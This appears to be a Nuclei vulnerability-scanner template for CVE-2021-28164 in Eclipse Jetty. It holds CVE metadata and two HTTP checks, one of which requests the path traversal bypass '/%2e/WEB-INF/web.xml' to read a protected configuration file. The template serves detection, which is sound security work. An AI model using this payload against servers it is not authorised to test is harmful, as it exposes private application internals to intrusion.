60 lines
2.3 KiB
YAML
60 lines
2.3 KiB
YAML
id: CVE-2021-28164
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info:
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name: Eclipse Jetty - Information Disclosure
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author: noamrathaus
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severity: medium
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description: |
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Eclipse Jetty 9.4.37.v20210219 to 9.4.38.v20210224 is susceptible to improper authorization. The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. An attacker can access sensitive information regarding the implementation of a web application.
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remediation: |
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Apply the latest security patches or updates provided by the Eclipse Jetty project to fix the information disclosure vulnerability.
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reference:
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- https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5
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- https://github.com/vulhub/vulhub/tree/1239bca12c75630bb2033b728140ed5224dcc6d8/jetty
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- https://lists.apache.org/thread.html/r780c3c210a05c5bf7b4671303f46afc3fe56758e92864e1a5f0590d0@%3Cjira.kafka.apache.org%3E
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- http://packetstormsecurity.com/files/164590/Jetty-9.4.37.v20210219-Information-Disclosure.html
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- https://nvd.nist.gov/vuln/detail/cve-2021-28164
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.3
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cve-id: CVE-2021-28164
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cwe-id: CWE-200,NVD-CWE-Other
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epss-score: 0.03819
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epss-percentile: 0.90894
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cpe: cpe:2.3:a:eclipse:jetty:9.4.37:20210219:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: eclipse
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product: jetty
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tags: packetstorm,vulhub,cve,cve2021,jetty,exposure
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flow: http(1) && http(2)
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http:
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- method: GET
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path:
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- "{{BaseURL}}/WEB-INF/web.xml"
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matchers:
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- type: dsl
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dsl:
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- "!contains_all(body, '</web-app>', 'java.sun.com')"
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- "!contains_all(header, 'application/xml')"
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- "status_code != 200"
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- "status_code != 404"
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condition: and
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- method: GET
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path:
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- "{{BaseURL}}/%2e/WEB-INF/web.xml"
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- "contains_all(body, '</web-app>', 'java.sun.com')"
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- "contains_all(header, 'application/xml')"
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- "status_code == 200"
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condition: and
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# digest: 4b0a00483046022100db72917c4fcf1688f2987c6c1f25179f198cb34b998e239ac0b34f98dce489c602210092a689bd88b7bb5bf09251dea5fe125587b1ca92c0709f9c9b2cd870cf27866b:922c64590222798bb761d5b6d8e72950
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